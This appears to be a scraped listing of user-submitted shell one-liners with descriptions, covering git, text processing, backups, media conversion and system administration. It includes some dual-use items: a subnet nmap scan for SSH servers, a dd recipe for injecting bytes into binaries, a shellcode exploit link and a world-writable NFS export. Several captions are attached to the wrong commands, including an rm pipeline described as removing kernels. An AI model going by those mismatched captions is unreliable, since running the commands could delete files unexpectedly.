libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\}/ {p; q;}' | grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is a 64 bit library"; else echo "$libquery is a 32 bit library"; fi;
/lib32/libgcc_s.so.1 is a 32 bit library
Functions: echo grep sed wc
determine if a shared library is compiled as 32bit or 64bit
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month' && echo 'not end of month'
Is today the last day of the month?
Nice simple example of something we can do in bash.
wait $!
Functions: wait
Wait for an already launched program to stop before starting a new command.
Referring to the original post, if you are using $! then that means the process is a child of the current shell, so you can just use `wait $!`. If you are trying to wait for a process created outside of the current shell, then the loop on `kill -0 $PID` is good; although, you can't get the exit status of the process.
cat /proc/acpi/thermal_zone/THRM/temperature
gunslinger@localhost:~$ cat /proc/acpi/thermal_zone/THRM/temperature
gunslinger@localhost:~$
shellcode version @ http://inj3ct0r.com/exploits/12554
git log --oneline ..
GIT: list unpushed commits
sed "s/\s\+/;/g;s/^ //;s/ $//" filename.csv
Replace multiple spaces with semicolon
xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xclip
Spell check the text in clipboard (paste the corrected clipboard if you like)
xclip -o > /tmp/spell.tmp # Copy clipboard contents to a temp file
aspell check /tmp/spell.tmp # Run aspell on that file
cat /tmp/spell.tmp | xclip # Copy the results back to the clipboard, so that you can paste the corrected text
I'm not sure xclip is installed in most distributions. If not, you can install x11-apps package
echo $(( $(echo 1 "* "{2..10}) ))
for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done
Mount important virtual system directories under chroot'ed directory
The command is useful when, e.g., booting an existing system with a rescue or installation CD where you need to chroot into the hard-disk and be able to do stuff which accesses kernel info (e.g. when installing Ubuntu desktop with LVM2 you need to mount and chroot the hard disk from a shell window in order to install packages and run initramfs inside chroot).
The command assumes that /mnt/xxx is where the chroot'ed environment's root file system on the hard disk is mounted.
cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l
Functions: cat tee wc
Both view and pipe the file without saving to disk
This is a cool trick to view the contents of the file on /dev/pts/0 (or whatever terminal you're using), and also send the contents of that file to another program by way of an unnamed pipe. All the while, you've not bothered saving any extra data to disk, like you might be tempted to do with sed or grep to filter output.
git status | grep deleted | awk '{print $3}' | xargs git rm
delete multiple files from git index that have already been deleted from disk
delete multiple files from git index that have already been deleted from disk. this is pretty terrible, I'm looking for a better way.
(much better!! http://www.commandlinefu.com/commands/view/1246/git-remove-files-which-have-been-deleted)
find ./* -name 'CVS' | awk '{print "dos2unix " $1 "/*"}' | awk '{system($0)}'
Functions: awk find
Recover cvs ": no such repository" error
svn status | grep '!' | sed 's/!/ /' | xargs svn del --force
$ xrandr -q|perl -F'\s|,' -lane "/^Sc/&&print join '',@F[8..10]"
$ awk '{ split(sprintf("%1.3e", $1), b, "e"); p = substr("yzafpnum_kMGTPEZY", (b[2]/3)+9, 1); o = sprintf("%f", b[1] * (10 ^ (b[2]%3))); gsub(/\./, p, o); print substr( gensub(/_[[:digit:]]*/, "", "g", o), 1, 4); }' < test.dat
1k23
10k0
100k
1M00
24k5
4k54
2P35
0m34
0n35
Convert numbers to SI notation
converts any number on the 'stdin' to SI notation. My version limits to 3 digits of precious (working with 10% resistors).
ip route list match 0.0.0.0/0 | cut -d " " -f 3
Functions: cut route
Fetch the Gateway Ip Address
Better use iproute2 !
alias whichall='{ command alias; command declare -f; } | command which --read-functions --read-alias -a'
$ which env
alias env='command printenv'
$ whichf env
env ()
command env $@
$ whicha env
$ whichx env
/bin/env
$ whichall env
/usr/bin/env
Functions: alias command which
5 Which Aliases
5 helpful aliases for using the which utility, specifically for the GNU which (2.16 tested) that is included in coreutils.
Which is run first for a command. Same as type builtin minus verbosity
alias which='{ command alias; command declare -f; } | command which --read-functions --read-alias'
Which (a)lias
alias whicha='command alias | command which --read-alias'
Which (f)unction
alias whichf='command declare -f | command which --read-functions'
Which e(x)ecutable file in PATH
alias whichx='command which'
Which (all) alias, function, builtin, and files in PATH
# From my .bash_profile http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html
echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd
Functions: echo ls ps xargs
echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrunc
Functions: dd echo
Binary injection
Replace (as opposed to insert) hex opcodes, data, breakpoints, etc. without opening a hex editor.
HEXBYTES contains the hex you want to inject in ascii form (e.g. 31c0)
OFFSET is the hex offset (e.g. 49cf) into the binary FILE
espeak "$USER" --stdout | sox - -t mp3 - reverse | mpg123 -
Your name backwards
‹ First < 124 125 126 127 128 > Last ›
sed -i 's/OLD/NEW/g' FILE
Change every instance of OLD to NEW in file FILE
Very quick way to change a word in a file. I use it all the time to change variable names in my PHP scripts (sed -i 's/$oldvar/$newvar/g' index.php)
slave start; SELECT MASTER_POS_WAIT('master.000088','8145654'); slave stop;
positions the mysql slave at a specific master position
say you want to reinitialize the slave database without resetting the master positions. You stop the slave, dump the master database with --master-data=2 then execute the command on the slave and wait for it to stop at the exact position of the dump. reinit the slave db and start the slave. enjoy.
echo 'mail -s "Call your wife" 13125551234@tmomail.net' |at now+15min
1 Wed Jul 20 14:02:00 2011 a
SMS reminder
Send an e-mail to SMS reminder in 15 minutes from now, to call my wife. See list of carriers bellow
Carrier Email to SMS Gateway
Alltel [10-digit phone number]@message.alltel.com
AT&T (formerly Cingular) [10-digit phone number]@txt.att.net
[10-digit phone number]@mms.att.net (MMS)
[10-digit phone number]@cingularme.com
Boost Mobile [10-digit phone number]@myboostmobile.com
Nextel (now Sprint Nextel) [10-digit telephone number]@messaging.nextel.com
Sprint PCS (now Sprint Nextel) [10-digit phone number]@messaging.sprintpcs.com
[10-digit phone number]@pm.sprint.com (MMS)
T-Mobile [10-digit phone number]@tmomail.net
US Cellular [10-digit phone number]email.uscc.net (SMS)
[10-digit phone number]@mms.uscc.net (MMS)
Verizon [10-digit phone number]@vtext.com
[10-digit phone number]@vzwpix.com (MMS)
Virgin Mobile USA [10-digit phone number]@vmobl.com
tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r medha@nerdish.de > password.gpg
Functions: gpg head tr
Create passwords and store safely with gpg
Adjust the
head -c
part for password length.
I use filenames like "hans@commandlinefu.com.gpg" and a vim which automatically decrypts files with .gpg suffixes.
rpm -qa \*code\*
iso-codes-1.5-1.fc8
pygtk2-codegen-2.12.0-2.fc8
recode-3.6-24.fc8
dmidecode-2.7-1.26.1.fc6
transcode-1.0.3-1.fc7
microcode_ctl-1.17-1.39.fc8
Search through all installed packages names (on RPM systems)
You can use wildcard with rpm search but you have to do 2 things:
1. use "-a" switch (means "all") with query ("-q") switch - argument is a pattern to use while searching for package names of all installed packages
2. protect wildcards, so that shell could not eat them - escape it with backslash ("\") or enclose all pattern between apostrophes ("'"):
rpm -qa 'co*de'
As you can see above it is possible to insert wildcards into middle of the pattern.
If you want, you can add "-i" or another rpm query options, "-i" will print package information for all installed packages matching pattern.
iconv -c -f utf-8 -t ascii file.txt
clear all non-ascii chars of file.txt
find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo processing $dir; sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done
Functions: dump echo find read sudo
Archive all SVN repositories in platform indepenent form
This command dumps all SVN repositories inside of folder "repMainPath" (not recursively) to the folder "dumpPath", where one dump file will be created for each SVN repository.
tail -f logfile.log | cut -b 1-80
Functions: cut tail
Tail a log file with long lines truncated
This truncates any lines longer than 80 characters. Also useful for looking at different parts of the line, e.g. cut -b 50-100 shows columns 50 through 100.
while true; do { $(which logger) -p local4.notice `free -m | grep Mem`; sleep 60; } done &
Functions: grep sleep which
Log the current memory statistics frequently to syslog
Uses logger in a while loop to log memory statistics frequently into the local syslog server.
for file in *.flac; do $(flac -cd "$file" | lame -h - "${file%.flac}.mp3"); done
Convert multiple flac files to mp3
make sure that flac and lame are installed
sudo apt-get install lame flac
ar -x package.deb
Functions: ar
extract content of a Debian package
< /var/log/syslog ccze -A | less -R
View a colorful logfile using less
budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufil=dumpPath/${dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump --delta $budir>$bufil;rm -rf $budir;done
Functions: dump
Use of hotcopy for safety/stability of the backups.
ifs () { echo -n "${IFS}"|hexdump -e '"" 10/1 "'\''%_c'\''\t" "\n"' -e '"" 10/1 "0x%02x\t" "\n\n"'|sed "s/''\|\t0x[^0-9]//g; $,/^$/d"
' ' '\t' '\n'
0x20 0x09 0x0a
Functions: echo hexdump sed
Functions to display, save and restore $IFS
You can display, save and restore the value of $IFS using conventional Bash commands, but these functions, which you can add to your ~/.bashrc file make it really easy.
To display $IFS use the function ifs shown above. In the sample output, you can see that it displays the characters and their hexadecimal equivalent.
This function saves it in a variable called $saveIFS:
sifs () { saveIFS=$IFS; }
Use this function to restore it
rifs () { IFS=$saveIFS; }
Add this line in your ~/.bashrc file to save a readonly copy of $IFS:
declare -r roIFS=$IFS
Use this function to restore that one to $IFS
rrifs () { IFS=$roIFS; }
findlocation() { place=`echo $1 | sed 's/ /%20/g'` ; curl -s "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}
shadyabhi@ArchLinux ~ $ findlocation DA-IICT
Full Address: Dhirubhai Ambani Institute of Information and Communication Technology, Gandhinagar, Gujarat, India,
coordinates: [ 72.6276828, 23.1891000, 0 ]
shadyabhi@ArchLinux ~ $ findlocation "DA-IICT Gandhinagar"
shadyabhi@ArchLinux ~ $
find co-ordinates of a location
Just add this to your .bashrc file.
Use quotes when query has multiple word length.
awk '{gsub("<[^>]*>", "")}1' file
A shorter version of command #3014, using awk instead of sed. Useful when scraping websites with a script.
watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"
Every 10.0s: wget -q http://www.brillig.com/debt_clock -O - | grep debt... Thu Mar 26 15:28:51 2009
$11,054,045,193,869.78
Watch the National Debt clock
The idea was originally stolen from Linux Journal. 'wget' pulls the debt clock and 'sed' reformats it for general consumption. Prefacing the command with 'watch' simply sets an interval - in this case every 10 seconds.
find . -name "*.sql" -print0 | wc -l --files0-from=-
106 ./bt335/blah/bt335/record.py
291 ./bt335/manager.py
128 ./bt335/foo/BT335-20080901/bt335/serialgps.py
121 ./bar/bt335.py
646 total
Get lines count of a list of files
This command gives you the number of lines of every file in the folder and its subfolders matching the search options specified in the find command. It also gives the total amount of lines of these files.
The combination of print0 and files0-from options makes the whole command simple and efficient.
cat /proc/acpi/ac_adapter/AC0/state
state: off-line
Check whether laptop is running on battery or cable
In my case it was actually like this...
ls -F | grep '*$'
A bit shorter ;)
ls * | sed -e 'p;s/foo/bar/' | xargs -n2 mv
bulk rename files with sed, one-liner
Renames all files in a directory named foo to bar.
foobar1 gets renamed to barbar1
barfoo2 gets renamed to barbar2
fooobarfoo gets renamed to barobarfoo
NOTE: Will break for files with spaces AND new lines AND for an empty expansion of the glob '*'
perl -e '$b="bork"; while(){$l=`$_ 2>&1`; $l=~s/[A-Za-z]+/$b/g; print "$l$b\@$b:\$ ";}'
bork@bork:$ ps
bork bork bork bork
bork@bork:$ pwd
/bork/bork/bork
bork@bork:$ whoami
bork
bork@bork:$
Translate your terminal into Swedish Chef
Bork, bork, bork!
To keep it short, the first terminal line doesn't show a prompt.
ruby -rcurses -e"include Curses;i=0;loop{setpos 12*(Math.sin(i)+1),40*(Math.cos(i*0.2)+1);addstr'.';i+=0.01;refresh}"
.... ....... ........ ...... ..
. . .. .. .. .. .. . . ..
. .. . .. .. .. .. . . .
. . . .. . .. .. .. . .
. . . . .. . . .. . .
. . . . . .. . . . .
. . .. . . .. .. .. . .
. .. . .. . . . . . .
. . .. . .. .. . .. . .
. . . .. .. . . . . .
. . . . . . . .. .
. .. .. .. . .
. . .. . . .
. .. . . . . ... .
. . . .. . . . . . .
. . . . .. .. . .. . .
. . . . . . . . .. .
. . .. . . . . . . .
. .. . . . . . . . .
. . .. .. .. .. . . . .
. . . . .. . .. . . .
. . . .. .. .. .. . .. .
.. . . .. .. .. .. .. . ..
.. ...... ....... ....... ...
Use Ruby's standard Curses module to display a Lissajous curve in the console. Replace the "0.2" with different numbers for different curves.
exportfs -o fsid=0,rw :/home/jason
Export a directory to all clients via NFSv4, read/write.
This exports a directory to the world in read/write mode. It is useful for
quick, temporary NFS exports. Consider restricting the clients to a subnet or
to specific hosts for security reasons (the client can be specified
before the colon).
On the client:
mount -t nfs4 hostname:/ /mountpoint
To terminate all of the exports (after unmounting on the client):
exportfs -u -a
Leave out the fsid=0 option if you don't want NFSv4.
This works under recent versions of Linux.
python3 -m http.server
‹ First < 125 126 127 128 129 > Last ›
find my_root_dir -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \;
slow2() { ionice -c3 renice -n 20 $(pstree `pidof $1` -p -a -u -A|gawk 'BEGIN{FS=","}{print $2}'|cut -f1 -d " ") ; }
Functions: cut gawk renice
slow down CPU and IO for process and its offsprings.
pkill -0 prog1; while [ $? -eq 0 ]; do sleep 10; pkill -0 prog1; done; prog2
Wait the end of prog1 and launch prog2
zipinfo -l
List detailed information about a ZIP archive
list zipfile info in long Unix ``ls -l'' format.
for a in *; do mv $a prefix${a}; done
Add "prefix" on a buch of files
xmms2 pause && echo "xmms2 play" | at now +5min
A snooze button for xmms2 alarm clock
you can also run "xmms2 pause & at now +5min
openssl base64 -in base64.decoded.txt -out base64.encoded.txt
Encode/Decode text to/from Base64 on a Mac w/out Mac Ports
I have a mac, and do not want to install mac ports to get the base64 binary. Using openssl will do the trick just fine. Note, to decode base64, specify a '-d' after 'base64' in the command. Note also the files base64.decoded.txt and base64.encoded.txt are text files.
ls -t | tail +6 | xargs rm
Functions: ls tail xargs
yes 6 (tail from 6th line)
This will remove all installed kernels on your debian based install, except the one you're currently using.
From:
http://tuxtweaks.com/2009/12/remove-old-kernels-in-ubuntu/comment-page-1/#comment-1590
dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img
Functions: dd mkdosfs
Create a DOS floppy image
mount with:
mount -t msdos -o loop ./floppy.img /tmp/mnt
git log --pretty=oneline
9f86a48d60a2efde9a2ab827cf4338b4dac63adf added 'devr' environment & removed old config files
9069c583dc56ca6e152d0fc33cc29a8face951c6 updated db dumps
705911d9702e9c8a7e74e87f0b9656fd6bc52a3f quick mod to database yaml for getting devr working
98cc10bc39cf294501cb3109e8fae3900490c129 added placeholder file for active_scaffold dir
a3e0a4380bbbe545910055648e85448dfa52f210 fixed issue with commas not being escaped in result set name
1b45bda02d0bb52d866a93536eb924794ddd35e6 improved highlighting behavior when changing pages, approving all, or reviewing. add paginaiton to
b55776b55b0262a26b6844f23e7f4069e54f824d UPDATED IMPORT to allow for multiple result sets to be imported.
b4c60a389c6158d50be380158c5c3ccf972bbb22 added "approve all" function allowing all pages for a search result to be approved.
.... etc
Assuming you are working within a git repository, you can run the above command & see what has changed in reverse chronological order, with one commit per line. Other formatting variations to 'oneline' include 'short', 'medium', 'full', 'fuller', 'email' or 'raw'.
b="http://2010.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep /presentation/[0-9]*/ | cut -d"\"" -f2 ); do f=$(curl -s $b$p | grep "/static/slides/" | cut -d"\"" -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done
http://2009.utosc.com/static/slides/Crowdsourcing_UTOSC.ppt
download all the presentations from UTOSC2010
miss a class at UTOSC2010? need a refresher? use this to curl down all the presentations from the UTOSC website. (http://2010.utosc.com) NOTE/WARNING this will dump them in the current directory and there are around 37 and some are big - tested on OSX10.6.1
tar -cf - ./file | lzma -c | ssh user@sshserver $(cd /tmp; tar --lzma -xf -)
Functions: cd ssh tar
send a file or directory via ssh compressing with lzma for low trafic
curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-9000:25] | grep -vE "_curl_|\.com by David" > clf-ALL.txt
[1/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/0 -->
[2/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/25 -->
[3/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/50 -->
[4/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/75 -->
[5/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/100 -->
[6/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/125 -->
[7/8239]: http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/150 -->
Save all commands from commandlinefu.com to plain text sort by vote
Faster then other method using wget
For obtain all commands use
nu=`curl http://www.commandlinefu.com/commands/browse |grep -o "Terminal - All commands -.*results$" | grep -oE "[[:digit:],]{4,}" | sed 's/,//'`; curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-"$nu":25] | grep -vE "_curl_|\.com by David" > clf-ALL.txt
For more version specific
nu=`curl http://www.commandlinefu.com/commands/browse |grep -o "Terminal - All commands -.*results$" | grep -oE "[[:digit:],]{4,}" | sed 's/,//'`; curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-"$nu":25] | grep -vE "_curl_|\.com by David" > clf-ALL_"$nu".txt
Also download dirctly from my dropbox
My drop box invitaion link is http://db.tt/sRdJWvQq . Use it and get free 2.5 GB space.
tr "[:upper:]" "[:lower:]" < file
user 'tr' to convert mixed case in a file to lower case
convert mixed case in a file to lower case
find -name '*.avi' | while read i ; do echo $(mplayer -identify -frames 0 -vo null -nosound "$i" 2>&1 | grep ID_LENGTH | cut -d= -f2)" ""$i" ;done | sort -k1 -r -n | sed 's/^\([^\ ]*\)\ \(.*\)$/\2:\1/g'
Functions: cut echo find grep read sed sort
Sort movies by length, longest first
handles file names with spaces and colons, fixes sort (numeric!), uses mplayer, same output format as other alternatives
find . -name '*.[c|h]pp' -o -name '*.[ch]' -type f
./file.cpp
./file.c
./file.h
Find C/C++ source files
Find C/C++ source files and headers in the current directory.
quietly() { "$@" > /dev/null 2>&1; }
quietly "/path that may contain spaces/command" "arg 1" "arg 2"
This works even if there are spaces in any word in the command line.
grep current_state= /var/log/nagios/status.dat|sort|uniq -c|sed -e "s/[\t ]*\([0-9]*\).*current_state=\([0-9]*\)/\2:\1/"|tr "\n" " "
Functions: grep sed tr uniq
display a one-liner of current nagios exit statuses. great with netcat/irccat
alias cal='cal | grep --color=auto -E "( |^)$(date +%e)|$"'
Colored cal output
perl -pi -e 's/THIS/THAT/g' fileglob*
modify a file in place with perl
changes THIS to THAT in all files matching fileglob* without using secondary files
curl "http://api.bit.ly/shorten?version=2.0.1&longUrl=&login=&apiKey="
# Input:$ shorten http://bijayrungta.com
# Output below:
"errorCode": 0,
"errorMessage": "",
"results": {
"statusCode": "OK"
Shorten any Url using bit.ly API, using your API Key which enables you to Track Clicks
I have it as a Function in my .bash_aliases
[code]
shorten ()
longUrl=$1;
curl "
[/code]
Here is an Output showing the Function Detail..
[konsole]
bijay@bijay:$ type shorten
shorten is a function
[/konsole]
shopt -s checkwinsize
type a reasonably long command, such as something simple like this: echo "an exceedingly long command that's much longer than the current window size. Something that you know will wrap around". to see the over-write.
Stop long commands wrapping around and over-writing itself in the Bash shell
add the command either in /etc/profile or ~/.bash_profile so that this is available to your shell.
!-2 && !-1
history manipulation
make
make install
apt-get -y install git-core gitosis; adduser --home /home/git --gecos "git user" git; su git -c "ssh-keygen -t rsa -f /home/git/.ssh/id_rsa; gitosis-init < ~/.ssh/id_rsa"
Functions: apt install su
After, check if working by executing this command locally :
git clone git@192.168.0.18:repositories/gitosis-admin.git
Tutorial :
http://blog.hemca.com/?p=560
‹ First < 126 127 128 129 130 > Last ›
ffmpeg -f alsa -ac 2 -i hw:1,0 -acodec libmp3lame -ab 96k output.mp3
Record MP3 audio via ALSA using ffmpeg
Record audio to an MP3 file via ALSA. Adjust -i argument according to arecord -l output.
find /path/to/dir -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1| awk -F\| '{print $2}'
Functions: awk find sort tail
Serve the current directory at http://localhost:8000/
"this command line isn't mine but i find it very useful" ^^
This one-liner starts a dedicated server hosting (web server) on port 8000 with the contents of current directory on all the interfaces (address 0.0.0.0), not just localhost. If you have "index.html" or "index.htm" files, it will serve those, otherwise it will list the contents of the currently working directory.
It works because python comes with a standard module called SimpleHTTPServer. The -m argument makes python to search for a module named SimpleHTTPServer.py in all the possible system locations (listed in sys.path and $PYTHONPATH shell variable). Once found, it executes it as a script. If you look at the source code of this module, you'll find that this module tests if it's run as a script if __name__ == '__main__', and if it is, it runs the test() method that makes it run a web server in the current directory.
acpi -b
Battery 0: Discharging, 93%, 02:24:02 remaining
The original proc file doesn't exist on my system.
nmap -p 22 --open -sV 192.168.2.0/24
Get a list of ssh servers on the local subnet
Scan the local network for servers who have the ssh port open.
echo -n "password"|md5sum|awk '{print $1}'
echo -n "password"|md5sum|awk '{print $1}'
5f4dcc3b5aa765d61d8327deb882cf99
Generate Sha1, MD5 hash using echo
This is mostly for my own notes but this command will compute a md5 message digest from the command line.
You can also replace md5sum with other checksum commands (e.g., sha1sum)
pg_dump -Ft -b -Uusername -hdb.host.com db_name > db.tar
dump database from postgresql to a file
cvlc v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2-height=240 -f &
Flips the y-axis to emulate a real mirror, uses low resolution for speed, this will also hide blemishes and the like :)
seq -f"%g^2" -s "+" 10 | bc
Calculate 1**2 + 2**2 + 3**2 + ...
cat *.mpg > all.mpg
Combine all .mpeg files in current directory into one big one.
Good old cat & output redirection. Using this method you can combine all kinds of things - even mpeg files. My video camera makes a series of .mpeg files that are broken into 4gb chunks. Using this command I can easily join them together. Even better, combined with the cp command the files can be copied and joined in one step.
perl -F' ' -MDate::Format -pale 'substr($_, index($_, $F[1]), length($F[1]), time2str("%C", $F[1]))' file.log
show the real times iso of epochs for a given column
When you have one of those (log)files that only has epoch for time (since no one will ever look at them as a date) this is a way to get the human readable date/time and do further inspection.
Mostly perl-fu :-/
munpack file.txt
will decode a mime message. usefull when you receive some email and file attachment that cant be read.
find . -name '*.?pp' | xargs grep -H "string"
pbrannan@random:~/git/rice> find . -name '*.?pp' | xargs grep -H include.*map
./rice/Data_Type_defn.hpp:#include